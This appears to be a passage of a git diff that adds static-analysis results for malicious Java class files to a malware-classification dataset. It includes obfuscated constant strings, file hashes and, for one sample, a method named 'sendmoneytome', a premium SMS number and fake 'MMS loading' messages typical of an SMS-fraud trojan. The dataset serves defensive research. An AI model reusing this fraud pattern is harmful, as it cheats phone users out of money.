kPplagiHKEx T rf DPixgVlxvb O U PbGRMdPHr i tUVrGgMJOi F jKboITrVfEb y gR xKmMEzGRr H U rRuQmfJlh iP l ", "sOxagtret f P FHfKrFvUar KGLG IhZDXFeGD T wKMmGRTtLa XKGV OPtGtUvgrH D RPOmEpJfUl j baKQmmiHZZT mMlj MvwvFfctK m hqcQgiqezn qO HcgZabJVaG V PEZQOLHqho O Pr glXgGZObxj z t OloJQypid U lLGPGEvEtF H qGbejHKOxsD u oQ UuQRFLPdl q v jItzRitJJ hX Q ", "hGHaFuxQO vs a ZQSdsFplS dwRnlUPjwKMd oa p UrUkoinIS ZgX ", "qZxFTIjFc i o TUTitExFHk wtfs uRwDabyph V kuvIvltppL QeZm aEbdRKQttJ b OXHjkhehgQ s QOQxXQbcgGT iRxD upsyenlQs P PVwlFudHyK Lk roXnuFXwrR O SISOiZMgKh G VK nnHJnSFQl Z OKZFkayVkLX Sb mTxVlDndqk k XD xgeZknzOR Z KFvhcZgXFr zt ", "OKKzRhuKT T F VOpOPiDIHO FyTK GvQROnEKP v OeLGRrcDXL KkcQ lFIlvMdHFn l EkrPQaVQHX g up yxhKGEaEI K uyzhorMxfm O JukfHFmiwP Ox Iy vTOwDPRmu l qPnOcGJRbw ZVsSceFfMiUia H s IUuQRxKLF Z ssbuGVDtjdd O Sl coJfKGGOM P jORGRDZcaZL si FiGDdxJbia ya D hLElqxMiw tPUv dkRpbnlmJ F Z ", "GzGOdveOF S k HMhELvOGzK JpdF FdEyhOGRG L jUoKELOmQa fgxg rRVsGGhmse t ghxjxFutTl D czMRnOJIHV k wF DqgPFHpZl d TdffJfZyqD b JRppkySsZM xkO fbDbaItln a XViVRmyOGZna EcHR hSEGLGzhO I asTbJZqwRd a RzHLDuqlFm bf y gMpJiLEnx S JUgmEHeKlFL sU VkRFqkKoeX o MORGMcTJso z tu aKHkHtvRaR bs I sjRvezGLy ZcOo ljHEkwDSE nE HGKtpfrgFVd OUwO vvlFLcGeF gRI SkRqKEapdr d KloayXjVlOo cm L RKFwLJeZL UZyh XRIELsKnZI pk DtMyxKgiV Z ZVvXzRzDqmc Zp U FSIRHyLDM ooqJ URqfdMeaG D syRMFlZFEeuj IhQE oGKvdoUmv r xuHJFUKwJn X IFOsoRPOQQ RO h chSeqpSIo D OZ", "FHbIdvUQK Gr fLivsKZRds DM l dzwSwZGIx ERqRQUwqfbnka K JRZXTtOIcmQ vFvt pThXwpSct DKn tjhdIccsG Tx U ymdRuZsFL XQDJo cPHGOqKia h kRPlJhGfXOX E wu", "giOGOOQLq JR TugMlXbghc h UFEDOTwKX Li ikDFuFTmys Ge aHiPKjMSmc GIGF blpQHEtLn G R SORSXFGVX FZ F ", "ZevkuVTmH e i cnGmJUfUar jnHI DRnHVGefP d jHDTZDdphX ZFal SnvQMJFqgg Z dmzRXPqVTE XdD tPrZLFpfEO ZF Q rFJnwGZKa fUoT HEJeSTGZR O KbKSGMnuKb zu ooiEKpFjKF i IxUMDMqznG w OJ EFooSlhbM m ixLcyZSmOwj IfKR zDKEQZJtI H PyaFcyaMDuJ Mt O jrGZruiIo Z O cVnUiUxST hK R FzyqFnGrM G lrOzfOMHbF U eM", "mvfqOsdmI KK KGkyRMubr ei t MqiKKIRtK E SoxpZRFMZRG t QK ftEZfRHUP tp J wUvyRGGHK KDk LhUmVFSXn R F nGVwGUKLd jF VMRcMzSdOG G SF vjVGVFbEO d dKOFmruxFwi Ou dsfQRUyQs aJ c OVtjDEPwO lKSr vpOPwTgtT G hoZuRoSlKt XROw RnEIyvGga pS KRzFQRlQO hK F rVgiSIrhy kG F", "GMTMymKOG t U fPloahvjOV qpcG sjFoVoGMS I ouqJQzIyQd iJnR wFSJsguzaO a JQGyXqGliF SOFZ EQEURFwKP q KxFKGkzKQ K oyZonxtFOPFq K fHULtOMsyO k XP ElOFfGxin K J OUZIydllD OLQv OHGDPtvXQ af onMUGdEGU RF o MqXIbRggTe D IPxTxSGgZO ksU XxKZwHwVaxx FjXb kvjwikOMe F MRTJmZnnmjI TaFu btorHyxgZ mTxM fmRImbwKUk r I bRGIVwebO HJ ZgGFdpiZpe Kf RDmjSZSaOk UP g HtREdxjKS RF wejoHGKmKf JOZE TJIXQmzLbe KK lyMUTOrjG Q FTUGKXnSlgs oK j ", "fZVZiOPjh kO OhGvRxiwr hJ b bwfOmDpOI P bvFLuJPdePq E z LxQVROxXlbw mMUV KeTHKZMOR EZ GSUDjRJHiI wh ZejvdbgoZ dr h aHwqGXgeH o ZV", "fHijLemRb v n xRlRRFwDFV yDkv zsmogZaGZ w GrQDvdOjiT GKGs tmScmcGZjK u TnFOmOhXFF GMOG fsZgyxDdl O MixeUhamD F DvKxuxwjjZRD D IIKLMsgOMa F nv dcDoiOxwr U H RVpwForKw ZQcg dOGVFKSIz fZ OeZOFGEPL wO i oiOtQLSTFk J RpKEDksasM xbTZ kzgyhveaOv S P qHGgwiUGd aD IXcidZZfSH is lRgTfxmgcS iq v FXMxLiZZQ an qhOIVlFDUX Of f QRPfdytgI tH fOyQqKkXRXF Ia yv omGplTDoT m s EOrMprKju ZkZz VcjmgriKv LF IFFFjKGOG zr i ", "dReGtsucm n H idZsggpHpR KwRK gPcLuMsFZ Z bRGVTtzwZh fPuR IcOSmrOFrJ F aqwRrtOGGx fLsF XoGjKhGGO Q OOivRRFjI V KHnzOTZsEahH F xLUsLzOwOI g kv vXMORPDvS d U ZFQlrnFjz HOsG wawJHlRwF Qe FbzkpinaQ ik l vMFPcJqDzI K ZoSTlmXssI nu x KMFIRoOZi h R cxfSghcHa U zQfScQgEVRG G JekzJIpFFPr I nJ yGVXnKOHa t JSJKrbnPGeOsc Z hX LwTrFZqOh mpVTVDenzgXV gm b LsnZiMQDJ F HOkPHjkzuqg c KwLjrXchJfHev EQOV ZizvRPjLg acI LQtIazQZZ i c ZbHTKRQVp Sv H MlMagmcOX Qn jVDEIFXLITX x Ls FaTdbjbXg zdJn tORRSGobG t g xlOplrbxw olJyObhzDezdz M bOZLOwudQMk cK p hEOyGFRrZ xm S GJZMzHxmc z ObMjvKlcg Pk GZeLiGRixUz Xt O zaRjyGOTj J Ix", "UTmSKuOvs QyZ KmHElvFVI it buVtavUOoF Oa S zfcmbQKOn EcGH EJDQGnKEM X swKmbxDIzLp Tx z OZLticMUg T p GFkcpGhtd sj FjXtxzxfLR L tR ZwzcSLqUU R lJuTvQrDfKR HmHl GZFOPQQhw DZc gexIFPqwuj L tRRPGuprzfi tI g jaeKRZEef q dJ PIGMOvGOag wXxa bkKfKRlFm oF grvoiuuwj P DsxmXeMQiFw Lx d IeiFFgPbs MV s", "VgHwgzFfL i P nyySlLEZhI IpRG xucuXxbOU O QzTFdudlgT TUkk SuiGmFItfK R KMVTkxMffO pgTT IGsfkZFTR S yzekhdXrD D lubLZiKHGiRL e hdZKbKgppy L sS iGSqcGqZo Q y plIeVFQZv XUrI GqOZoVGPe QI sXskRpZOk mE T bRFrGLRhjV m dQwHqjQvjq V zT zJFSZKVOeM GOsU SgMyTKfnn RZ EZLGqZtMr m tgSLKKOGqGM cs t ltdKTGFgT ph G", "qEOLyFvEJ O G PjxHPsDVfF aZph ugyvrQMVH k szDGJozGfr hSIK gRPVnkTOOT L ojJtQlPyji hhKX xIRVIyXeD m rKijhKvKP g jwGZKRDDLfPU w KXenPaxZgV e RE DKpyDFnmu q g eVgDekKKP HjvJ TVvdgsLRZ bg XziyzxkqO Rq x dpwVpFRtKG Q fKIDSelGFr L KQ sEqGsjPJu nOKS vTXlMhraD Z Q TSMhRMIUr xXblgtdReecju o zRcKvOeVJjm RK T mDPuwfjFe bZ K zujRShRsL q IbQZduzJR mn wiTOvrLOSqf ar s GxPwFVvzX G Qh", "mKOKbfIhF y i THhgFFXoQJ gHjT yyoDFqFXe m shrLxzmokt Fpzg vjTydpKpcM x PjzIfFVjsQ rqtJ tPOvXOMnJ T lPFGdfiFK d zeJtnTtJqzgf K fLKQqDgeif f jH RSpVFlGgf v u qQsHnhGiJ SyPM lyrhjbtXL qw lvVvFjKfu kK x wjhsbQhZdK z cnvVrcimvX OIx UfuRdRmduxq yOht GXwjzRIvu b elRMfpKRFqH qsKV aKGvxnhRF lrDJ MugDPFTkOR I T wFqgKxGKy pK OzIxwqFSar dk RZzvZdRTVq Vm D fsZvHrKse za U", "saFzaVzKO R Z MjZxwXnyIG zTGT KPVkvuItZ K JpHXXJoLlm ZQwH cMKknurtKX k TFEZQsIlEq OPHq FjlkKyaEv r LrPfPHjXe i LIKOMMjlovZl Q tcgsDfRFkV J xZibpZJafbRKM R qZVHvZOGD D gs wRLqxFVDV E OfxZlXruky f xq", "RgylOxDVR Q n vVXrUbUdMj epIP gTphFOoUH m FJuzVZDpKn SZmZ tVZehvmGKX R ILvLnRJboU XyJs nQGEzZJZw X OghSDVlqU q eOUrXnxuUfMo g zrwmqQRHOh w GF UedUGhOHo I a MlozzwRHD METG ItugluVOd RF qMROOxcKK KO m wFVtIliphZ y ozZjUIeFOd gZGJ ZfewydSUqQ G c jjMOgvLRG Rt RDtqnKcjiU QV OclwcJoFId DI l XVUhTIGmE vL HxuEcTDeHt lm i ZwRftgQyQ cL GhqRyRZmHsq ls ci xMDRUKgOF G D GoFHrZfzL aHwO XrvZOqeQH wP hpnKmMfkJ tV U ", "JhFdFfXfX J w KFmnlgdMlD FEmk RgSTKPGvK r fHvLfcdtpU RJjf VreOmFItPV f FgSdlnqOtF xjbz hqbfmmlhD F rRuURvpFo T PKnilvnnPHli z UMSMkoKveE L jy vpTZhsKGd T s nJQKpwaOk Mjjw FGGRVTszP OO ZtqhhDQLI UG K GOQXzHyJOD J kjFXxExXSo bOPZ glUZetskS d MXasFGzSv z FPiVhPGIgaS n zdlErdOOI fx TmOfVOZOjX Er h eZlUKGSHR f FVIZujDae KL ZegmOGJPJaG Ra y PdxwsKVJu R HR", "VsHnrIwkm j G HyUQqPvfSm wIyj dPIGXVPZm I pEnRrOnOJb ZXFm krxdkIVtqU z RyVkRRFfJG GDOD lTUMrrIbG e mVhRPmdMR d agSgtrdzEgTE M hFMFiveoiH a fP ObbFgnVMs D o ljZKshlVb PxqT tbXOpOPZk nk ZoFDxDRZK KP P RnOeMcnQuX S OKjzOgzZRw Z h lOjFcsIGc mu RthcxwReaG q ro SRDKXgTuu s uUQudcRunQL OxmP zmqnJRjjt XRs UIwTeRhvLt E kqeZOOZKTLv cl G OheGGaGod o OR dKLTiHUjJo aauS UhiSOmpcp Fh MfwTVxcFx x cgGpoqgLZyG rz F OXQGHMaKc Zi S", "kKMSFcgUw a e SkUOaQaFep JXKF HpztgXSVa y KTOGkGVlHJ unSj ZKZnDabFGj c DoVLMaTGqF I O QjzEeOSUq E GVZbXMSkFRU V Tr ndLnvvgvm k QhvvKaOyUagn y haLpqZpmGZ ZR scMyTIMpmZFD haDi aOmSDpxLR RF gGnMEOGaR a POjtFZSntbZj w MesUcgckspc wLXd KqaKrFUEw GJs ftjoapOSRv Z wJwhjLGvnjG xR Q ", "OZwdJOyuq MH PljGvORwH jO Z ldKXZHorL f kZyMGIpRPfG H pO oDOUOMSFXG clSS mhvOtTcLZ aP GGcqvIerF z jjdQTTsOMgD Oo k gDmFFTHOK Lt J", "mKZqVimtV Im PoOIGPVMm UZ O rLDKbrGGD K SZTQcznOfOy r mKjvxEHbVJTOc u lE hxqDhHDRF RhZzFKRzfHbM Vu O VKmSbRZVj K Iq", "GDQhvcOFR d D saGScRQwJG gRRR KRbPnOEjv a HjUmFPsaOy KkHv xGKSMFMxGi X lKkRrQuRQc gqJO mkILuOTZw y EUFSGjpZS g VMoziFsGqzxJ G fKFHllHOQX xy DtSxGmjog Sg t HbllkOvck o PzyfHcmlQ w Z RVPQcZdaDF a KjaKxRrUxe ZXSSo LKQRSRROr Gi nyfKvZOrLz aS UcgweuxxRh u tl FisRbFDke S HHemiKEwgK vQ U GFgDIGQGK Z c vFLhxEUDoea bz nQbbOQqlrP Kxfd OyVFREDiz g JpmFEtEqiD Ry bROpeEheE Qp ZUFFgmcReo g LudJFOcGc aR uDkRXfezMM u l ", "xUVjRJROE G d ytdipiaUbM thkr yJqKMdbcF G aoUyZpqMOO nXOP qZVtjyrKZP G FjKZJMhryG JtnZ iZeKLUKiP n IkMURkcIR o FldJIPRaGSXG L fzmnGPFDKQ Z Ge QyGnnyPzq n E eGXDUkMzm aZFw sxhXaoRHK Rw VqGwaRifV Hr X zlfizGpFqy m ZMolKSzxbl tyDDT TccmtqjKU hZ iTGQOsqREj cz yMESOGFzyG U mj EvbKlxSvI X bnRVbQOqUO mZ y MKMEwyPqq O g HIVOrbUqGvR nh LXRRdlMPsh TlRk DgtRzgyFw F FfsydaFcaR GZ uJaKKDJpz xH GXzKiuMxXG c UFyJvFmiT Zo xGzJnhoeDi w H dgVhzyIyQ ZR plwOVyVsE fdyi", "VreeLUORK n f ORQcxPOkFI IxwT MgFbzoTKz m nRnzRhOaPK wwOF EQTRTIeLEO c tIPywcMOIs Fiqy ufjXmFiRG Z txufGSuac c VKhKikKUiKSt D bbIRKIyGjI z LF yfGaPMDKFL ED l pkFOEtolz K oFXZkSLJFy bp XeKKSIxHloG QT u ukXHcpdOt Xh RzvccGsjlR q Ma OxZMKgsqo Z FRKgPiQyzG Sb MZGSvmLvu mS LelypTwPdhDR L fh DZhxGLwny F PZVeRqdIfi u zgUOGXOMIKp cy ", "xLQJPkwDT e Q tryUadKaXJ icPL DjGDKRwgz O gtuaOERywz nabv SGUdRMRHLh Z GbIVpHarGK Qv pLDsnzlKZ sn G KmdFnPhHJ lwy zQTFVoKtO v y tqnzUZMDx Vt vFKkulmRjm H ws nFKEXhLkI q VZVdrQKUTrS Sb KymUgRgKdH F kGealvyOhV c plZOQGFvZkFeK KG v JGphpnejt kx cgTOkhpJaJ M P XgwlVyRkJ x XZ kKZujFMpM Lp hRwkkVyHk LR jtMuhFTbl M mn VhEzLDSQX P XytxVbbUy h MKvhOuMtPP On ", "VdvmOEOKF F d VcaGeSlxvg RQrg RDTOfondd k xtpRapInSm gnru GzFhbTzXZj q bkrSQlbhJo Gh vjeOKKJrj OX E xDFbjhXTo qzD PLFMMRpSG G J DaovEbuKq uK LnfOMiXssS Z XP bqTGUEmKK G ebwcFgKhLzx ox XjoRDbGvDp R XbXObputXk jGkki JySMFZDrp R QrmQZgZrdHF K lmyxGbvKsDJ T UhVmcxQGPRGZR FG T qxFpKFyLa es yGiKHKHUtu M t glTTVshFh u Od XzwTFfrKc GD ahudeEhSt SS gsMrHFrXX j ZV aXEJLVihT K wilynuPXD F G", "KQhqoqIjE UQfJ RKcQLbKFi jO pXLbaMZUSKF TO Em", "FgnDTXhDc yM swtKJnctou o zj TbFgsfqvm Z UbRpXErlwMR vb V kFuLhmEXdK L GoerXbKLJZg v FyKiuvRPiZ P anRiFlXISD z ", "qhIQDSxHE n p VRvcoUrMVn vESf rRXXeVpiS u scGSFGRTZP TRVe FaiGVasTRe r UHkwOnZpoj Vc ZKoXerRmc lr S GaoqfvJsh ZzX eRskOriKg P G ZxQdGdyhb xs LcjgOfDEqu P Ju KwMLfsfIh V wyGopTEOMkk oL vGskRJwDfK r oieMFPvQyx sEoa spgfVrDMQ X LJfmUxXVZ Jq gMbIMuTGFIa dc F sIhKTGggZ x oM yzRZXahhK L EPkZQsytr x t tiRZFTHFP vS kufLiOjOFm Fwv eyVRQPfhs Lo p ", "vFDyMmFLI R G dEymgRZlZG GDZR qgkqUeZOH w FjjdhlSuXR XXIb ImXFQjnRco K vDTteeSmGu V HUKRFFtSvl FL V DUpxbywPj r ZLJcIlzTGtsK U uTpGHMebVJ g e k FoGaKIvtS V QS nrUGnOLhsb GL PK", "MFkHuoIGf R S OMIOuvevqK uhcF ogHDaKnFi R sLvizjxTDp aKFO qXhojwoZMG c qRaRlmbZlv aO vKOVaPhFp zk T EnyLwZKUd Vhf UdfZKdZiy s d pzzyZDfbu pU FRKXIFOuPy I vh GHmQTiFOe Z EqKsjDsJFKw Mn iwXUMbSKKX h PeqyGottEw QGn ykKxgDEUp sV X FaZogPaJr iD lrdobuMiwM g XjMDxyKiFgZZ G ZfMIPZvMOi RVzO hzoOgLhve Lf P wqZsMGyfk ki qrxesghEVZ R ZvZUQRZRwsz G hf uVkgpsMGy oI UjFXmzOjUo e OZ zOIRzbpFq EgH bDEbHbulb kmZj RfRqzyjdf z GqqfOkVIyfS OD Z ", "FPgxdjlUk y o mbEZwUhZJF pZXp SSbXujRfS S dHzeKKKKRm JSHr wVcJEiQqlx f mDOROgajcV FX ghRepvcaL GO I dPmpLQruO yei RIHZhospm E n ifyQgGEmD VK ZksnROioOP l dk usuvJsMqv h KoSuIFEZjjD pH iSPmxsozGe T fsqfZkTEux t eOhpPdxOLIodK FD GaETEwrMJm m urnOpeKsc e vopvZyXEyHG Iv D UhzXfKLZO tIz HMTsHfHMk w GQpwyJHSJhI Q iX QZFiHuRtn q qnIqUxFbo R PsGdfRfDIw kpk ohrKGRpOfpf o wntxIOFsT E j aFlHOFaay fOGb KShOItweX y Km fdhpqGxuf G K", "lLIfKrZqi H e SLRnsehRcU trvp QJojehEOZ U KZiDRbSpuZ OSyI fJXwPSOGmr j ilMIFocTjc rK REULRQiXF Ix t LZdgymRHg KFT VwkOjKqfF V Z TyKtwhxFy GQ EVfpfkJwKI V Vc DJjLLkJmV a uSjSThxExig LF JwtwOZPaUx t OTQmzgVwgf V PhOzzrKmflPVI yp s rSPIPdoiJ OH ZGxOUukPTL j p quUqpRKaR G nu yuVDbUIzo wh JXxQlSLbi Th kOmuEOZkU a hD zKnFjcZDr O vlFKOQgKc r GtwoSKVajF cKkk lbbpoHumh s GGVkdwxqZ V EGGRmvqRFDO H OLOXwjXpKUl IK b LemTzRyvV Thh qZVIkhuHI q JHXvKplLGri y ek ODTDKaptV X KRMgakSst t H", "jFwmZQdSG n T nGGTqcXIIu pbXj ejiMQGztM D OrcdzLxUmE GbtP TZVKkZIdIO o MtGoTxtZwK fa cZJODFHgm rM O qRxaIoGFq whe MPRUyrSKg H a IrylnGhJh ob ctcbKuewzm l tO psySfDPgF r rkOZKbIHcow wF xFpRutIoKO G LGairHLJeV RaRsR qFFiiSIbT hHu GkfGFKFKT GEw eMEpmaJTQ sq O POFkvRXyO oH aTdQeOGtF Zq sIygvOsZK RavV FgFUfZnxR l FLpiPTZvU n iFKtuOfTgF K FbUKXamtcQO Mt fwipefDpjK L OoDKULGxh J odEmKtstpFL Oimr iwyoucMmO U bOZjUtiym c eKEKPqELOd e bqvOZLZPRdF sp F FmDUsTFiI SQfZPjUdpRuM G ex", "eKXchroys quiu LssnKSggX Q l ", "ibHcMpjcce z wHRvPcGRZQz r OnKtxhZogDU L JxbLsOeJLV O o exPIivXzUF prxkKfjHgOyzfgu k OjitasfFEx oIVHv", "tOepcgLsU uQ x jSJDDQcRh GcVpTGLLlErS vu V gkFQZZwrz GEF jGPGZqISe i S GtLRXwpxc z UKdMKzIcOXg GI n ", "UotvFmGnR e qnQIZRjVn yQ gPqPgLPGoE M pfOvQrGrrX RcOo FGFOsUhpi EQ IRcFjfRXkG JRf obtMGIRiK R tgo", "RsKixGmSGF l FRORPiqtwHp S et", "LrlRsKgzc pK wSgaZJGcmF s LJ LkhVhvHuQ a kyjRerfjlxZ k VbtrROJhwZi Oh Z PfmPjzLvl Dq j", "KRJTmcimj d X REIiKXtHtR rZFe qFLLDbFoz E wGTrcZrVir VgvJ DvdKiRKbhS P FizhGVZoRK dQ ZSOUMDFDj ZO u KooUSOKzH sZk FwwZMFaQE F e GzVTKGuFg rb kRGjXatPPf z wa zumTlDtZc Z XnFxPbwRwTv Mz UcgPpdbxtj c otgVHbOwqg R spkUKiDUSZQFZ oQ l ZkHQFmoyX Iy zRoTGrjwyP K K PTfGiPUPG y GG GOmrjlZXq RP UHHTLDJEf xc xOEnUIkRw n iZ gvcFmLRqx H RTZFZbTEh T O", "ohQkTQdeD vE sqOmpGboF Gn Q kRTKOragZ I GIwRlQQMQDc Z ZK fJoXUrrGz nV G iOeShZOQP tdx eFiMZmhlS Z s miqPJSRdF Jq uvyOvdkMZG D yI MFeLnPOyO G hjIDjOiFvOv sm qZlGsRanX Xa z cVwZkdVxT GRwQ uRDbPpZPU a IHFtsbGVxr MrZK rPRmGFoyM Xo QLbjDRzFe VO K svMbLDoMX Dv Z", "GjZRtKkhO HtK MbiRRKyOOsDm nzk MjFFFSokf K Ry JrrrsQRjt l QTKFRelRUjZ F aT vqRgdxPoD ZRdrM SvRaFKEmj Kf KyxZKiujSyV GRQ SvZwVRRrsc j o mRZxubViuS ri XLqEUeozdV KLp IRqgPEUQjn F UkJlEioZdQF j G sgatOSEUk UE GVRxqyUZGR x gK eoqRtfyvO K x aJTjwrDOb p S oZyjnokIKG mK GcmIRrqdEOzE R VFPmOQTbfrQ ERDOasSOlisLt l uGbgXQEuJZhzw y FlQSVzoaw dH agoHHQjblglV q fgrRwGfZj a h R bjHFDgTMi hg MFwKUdTmM PKGDQnRIoogH xE eJtZrRZjPlsu yFMG RIkjOOQgHJ F ZcEzXZncorDVw K lZGRTToFKjO j vLHEfmqOtplQl c ROHkIVOGQj H ZUFOSltUDS O V yKHgLZawjE XiO lGMOSTlrP DEG F zalyqZReF uw zfGxISGsi K bjO irZdOljTl ZpR sfyEeeUGG vk qUXziFsSL Og Ow jOzGOvmaf ZnO cKrZgtdZdw xEwt ecVhooTjOo Tr k GMlOEaGMO m XUmTQrwuGy o t qZIZwGFRii dK p KeZjXSDzTQ smatOEUcxban Ho QfwLUoOIdz D d zOOoyGekf LU G yhZarybywc a nVROGhlQhMK D yuJiIdxbaH KpyLnrGSyw wG rRvGOsPQyIi J llZdkKVgt qX J rRoOIfnSws h c TtPIGPqFE w UgmTwUVww G aOScbXmORO US tKqZnPROq z EaGtDnDHqrn xK ZkxkRRwDr oe XklxGbdGE mIK jMXuuaMle b R FwOsUbkOOKH Z Fd zIEUjTRgjO MTiMwhZfUFFXE cw g RZqHhfFfIU V g OdKZjrmky XTPv ", "QiVeooSgDc ZZgdKJstXVIJFR PyM PyelLGFfRp oF ZKxyeKTnayj DP vRTpKRFREl O ZHgdLDmioaVi u L oLFRSUdOeg L SfOfdkZOxrc d zpxwFEQRTQ GGyEwsbKVOySL fF kGrKoUGsP EsGw SLgrxnOut pxk VHlwOtPKnt ySf esvRDkjqR DR wREfFHltZfh VO K hvifoOUiD fG azrVtfZFGe pF erqctImnj c wwrdFeFbeFnh j cy GjZTRqGuP u r oHeyXQatri p h jHSkslQLo U zjOhqluxngi s V mKJOwZpin L llGUjeHZEf J RjkhTeRTS yXdHODnFGXkcF mPa UFhSnEkyU Lv KtqkOcniae EG gKmxchoRt H QlevJEbFqRO V l UPEFquFmy Z yvfFHRshgV G awFTRKpSZ jqUwZGbFhnUg pH XIxhFdvTt V GukGKJDqDH mHyHx zyGhcZRuk Xfru axLijaRGFq LMvK mRQSrUlHH OHO KkspsTPjlhk mGH y QMoUHmteh jLZ SXSUTgKTxI Sgv gmMrIaLDJ Xg QRKQodUkfOuM zK OK HuiImtRJM fK R MoRinLKVKO to G bZKISxsiR kE KKHTlQJlqVd Rx O aKLKiyGJP hm OVkFwRsZRR dR VpfZFMmeZ g UuRnZPZFKRGqS U PKZ buqSVJSxq d dR lFEIKlMTon r TU yQahJnLUG r Q dFqGEImuiVH K Q R IkmZbHEZG p R ZGtFGGuial p U syxywcyFf i QlTRyUzajJQr e Rn PZvVDHdSb y b PfPdytDaJDh K ZnfJtovxoG O leZjOwkQZRH p jtyjLwDXee I tgcwrKMzas F z SwfrOOzahK QImLlLFShK mF vwjqFvMQIPZ m zOFdUgUiyk qI q vTVfqQRfxO Led ", "XVGctlSVf V quGSJsQzk DFiDthobhnvGl Gk a VifijDKjO x SvvguxInnQ gicj OnUVKoKzI V xaZPKfMxd q KxVQJwHOdL V LbMwwsVfVa EF I SELPqMgJG ZQk hIGaIFSZn h cqdaplpDIao I ki dTxyKMhJf c RPzxiwmmE q M", "gPFpIGGPG toc RonULnyjd G a cSrLqnHVq IG rtcTOaaRsUoE r gQOXxHikZo kF t REiORaTxq iozmROLOjGMO FH E cRFTeUdRZG QgkFRUzFKVIrZlF E KopRnOaac vFMk FgJpuEZZIX nmVzVOExhOmZmG KH senZxnjgy H IhznnKUMlVv VKsa OnsnOGwGT ht XJKlKEaRxL I yfLKZVvuMbkV ObPrr", "qnPOyanci zD zGGvtnrIFO xV z RoSDRdfKH MZ dFZsKuuGV Jr GpztsKGov R jTPZqcPlJw De SzwFgZcOhvR IL sxbwvPxZyu eq sOdlisEFEHI Z FsFvEmqIuQ ot x wwvowZZOX PTulidwFgsmM Rp K yGPoraXhln mfHGPnLraldtUvK K xKwhTOLXv xR MXyIPdvSHw UeePw"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "162a6b283d165fe434b86f6b577a9282f5479d2a", "file_name": "java_malicious/3f171ddc3f10b95e54c3a9637198100991881d1b5d695b96e56998e87cb3fa18", "_id": "d67436be-9b81-44c2-8b27-e8c8306efac0", "score": 0, "entropy": 5.254838213625718, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 24354, "ssdeep": "384:4FXvqDhZGJk88Omjw4C/Mpr/WWQRodMB+6Xc8YzLxKHw/uSokre/cOiKMli8tlr1:4p+hZdOmjw4FpKhc829GpSokyJM1xF", "sha256": "3f171ddc3f10b95e54c3a9637198100991881d1b5d695b96e56998e87cb3fa18", "md5": "7bb6ea0b048d6706972d74db841a4835", "parent_sha256": "3f171ddc3f10b95e54c3a9637198100991881d1b5d695b96e56998e87cb3fa18"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3f1f91dc0dbee8892bc6af6ec83ae8f06891d4752f42426900df09ae0822b507.results b/java_classification/data/malicious/3f1f91dc0dbee8892bc6af6ec83ae8f06891d4752f42426900df09ae0822b507.results new file mode 100755 index 0000000..85820cb --- /dev/null +++ b/java_classification/data/malicious/3f1f91dc0dbee8892bc6af6ec83ae8f06891d4752f42426900df09ae0822b507.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "M", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "major_version": 45, "method_names": ["", "paint", "run", "keyPressed", "keyReleased", "mainmenu", "mainmenu3", "mainmenu2", "sendmoneytome", "prover", "R"], "minor_version": 3, "const_pool_count": 369}}, "_id": "41270511-c793-4274-8873-a1b0a20322bd", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.661016878204154, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "sms5"}}}, "constant strings": ["p:104 n:9312174643", "p:55 n:9312174578", "p:22 n:9232441167", "\\xd0\\x92\\xd1\\x8b\\xd1\\x85\\xd0\\xbe\\xd0\\xb4", "\\xd0\\x94\\xd0\\xb0", "\\xd0\\x9f\\xd1\\x80\\xd0\\xbe\\xd1\\x81\\xd0\\xbc\\xd0\\xbe\\xd1\\x82\\xd1\\x80\\xd0\\xb5\\xd1\\x82\\xd1\\x8c MMS \\xd1\\x81\\xd0\\xbe\\xd0\\xbe\\xd0\\xb1\\xd1\\x89\\xd0\\xb5\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5 ?", "", "\\xd0\\x95\\xd1\\x89\\xd0\\xb5", "\\xd0\\x9e\\xd1\\x88\\xd0\\xb8\\xd0\\xb1\\xd0\\xba\\xd0\\xb0! \\xd0\\x9f\\xd0\\xbe\\xd0\\xb2\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x82\\xd0\\xb5 \\xd0\\xb5\\xd1\\x89\\xd0\\xb5 \\xd1\\x80\\xd0\\xb0\\xd0\\xb7.", "sms://8464", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 0kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 2kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 5kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 9kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 12kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 15kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 19kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 21kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 22kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 25kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 27kb", 